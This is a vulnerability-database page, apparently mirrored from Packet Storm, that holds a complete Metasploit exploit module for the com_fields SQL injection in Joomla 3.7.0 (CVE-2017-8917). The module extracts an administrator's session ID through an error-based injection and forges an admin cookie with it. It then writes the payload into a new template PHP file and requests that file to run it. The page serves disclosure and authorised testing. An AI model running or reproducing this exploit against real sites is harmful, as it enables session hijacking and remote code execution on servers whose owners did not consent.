Lucene search
K

Joomla Fields SQL Injection / Code Execution

🗓️ 29 Mar 2018 00:00:00Reported by Mateus LinoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 70 Views

Joomla com_fields component SQLi Remote Code Executio

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HTTP::Joomla  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Joomla Component Fields SQLi Remote Code Execution',  
'Description' => %q{  
This module exploits a SQL injection vulnerability in the com_fields  
component, which was introduced to the core of Joomla in version 3.7.0.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mateus Lino', # Vulnerability discovery  
'luisco100 <luisco100[at]gmail.com>' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2017-8917' ], # SQLi  
[ 'EDB', '42033' ],  
[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]  
],  
'Payload' =>  
{  
'DisableNops' => true,  
# Arbitrary big number. The payload gets sent as POST data, so  
# really it's unlimited  
'Space' => 262144, # 256k  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Joomla 3.7.0', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'May 17 2017',  
'DefaultTarget' => 0))  
  
end  
  
def check  
# Request using a non-existing table  
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')  
  
if val.nil?  
return Exploit::CheckCode::Safe  
else  
return Exploit::CheckCode::Vulnerable  
end  
end  
  
  
def sqli(tableprefix, option)  
# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).  
# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.  
# This way we make sure that's excluded and we only get real Administrator or Super User sessions.  
if option == 'check'  
start = rand_text_alpha(5)  
start_h = start.unpack('H*')[0]  
fin = rand_text_alpha(5)  
fin_h = fin.unpack('H*')[0]  
  
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"  
else  
start = rand_text_alpha(3)  
start_h = start.unpack('H*')[0]  
fin = rand_text_alpha(3)  
fin_h = fin.unpack('H*')[0]  
  
sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"  
end  
  
# Retrieve cookies  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'vars_get' => {  
'option' => 'com_fields',  
'view' => 'fields',  
'layout'=> 'modal',  
'list[fullordering]' => sql  
}  
})  
  
if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/  
return $1  
end  
return nil  
end  
  
  
def exploit  
# Request using a non-existing table first, to retrieve the table prefix  
val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')  
if val.nil?  
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")  
else  
table_prefix = Base64.decode64(val)  
table_prefix.sub! '_session', ''  
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")  
end  
  
# Retrieve the admin session using our retrieved table prefix  
val = sqli("#{table_prefix}_", 'exploit')  
if val.nil?  
fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")  
else  
auth_cookie_part = val  
print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")  
end  
  
# Retrieve cookies  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')  
})  
  
if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/  
cookie_begin = $1  
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")  
else  
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")  
end  
  
# Modify cookie to authenticated admin  
auth_cookie = cookie_begin  
auth_cookie << '='  
auth_cookie << auth_cookie_part  
auth_cookie << ';'  
  
# Authenticated session  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),  
'cookie' => auth_cookie  
})  
  
if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/  
print_good("#{peer} - Successfully authenticated")  
else  
fail_with(Failure::Unknown, "#{peer} - Session failure")  
end  
  
# Retrieve template view  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),  
'cookie' => auth_cookie,  
'vars_get' => {  
'option' => 'com_templates',  
'view' => 'templates'  
}  
})  
  
# We try to retrieve and store the first template found  
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/  
template_id = $1  
file_id = $2  
  
form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)  
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)  
input_id = input_hidden[7].split("\"")  
input_id = input_id[1]  
  
else  
fail_with(Failure::Unknown, "Unable to retrieve template")  
end  
  
  
  
filename = rand_text_alphanumeric(rand(10)+6)  
# Create file  
print_status("#{peer} - Creating file [ #{filename}.php ]")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),  
'cookie' => auth_cookie,  
'vars_get' => {  
'option' => 'com_templates',  
'task' => 'template.createFile',  
'id' => template_id,  
'file' => file_id,  
},  
'vars_post' => {  
'type' => 'php',  
'address' => '',  
input_id => '1',  
'name' => filename  
}  
})  
  
# Grab token  
if res && res.code == 303 && res.headers['Location']  
location = res.headers['Location']  
print_status("#{peer} - Following redirect to [ #{location} ]")  
res = send_request_cgi(  
'uri' => location,  
'method' => 'GET',  
'cookie' => auth_cookie  
)  
  
# Retrieving template token  
if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/  
token = $1  
print_status("#{peer} - Token [ #{token} ] retrieved")  
else  
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")  
end  
  
if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/  
template_path = $1  
print_status("#{peer} - Template path [ #{template_path} ] retrieved")  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")  
end  
  
else  
fail_with(Failure::Unknown, "#{peer} - Creating file failed")  
end  
  
filename_base64 = Rex::Text.encode_base64("/#{filename}.php")  
  
# Inject payload data into file  
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),  
'cookie' => auth_cookie,  
'vars_get' => {  
'option' => 'com_templates',  
'view' => 'template',  
'id' => template_id,  
'file' => filename_base64,  
},  
'vars_post' => {  
'jform[source]' => payload.encoded,  
'task' => 'template.apply',  
token => '1',  
'jform[extension_id]' => template_id,  
'jform[filename]' => "/#{filename}.php"  
}  
})  
  
if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/  
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")  
else  
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")  
end  
  
# Request payload  
register_files_for_cleanup("#{filename}.php")  
print_status("#{peer} - Executing payload")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),  
'cookie' => auth_cookie  
})  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation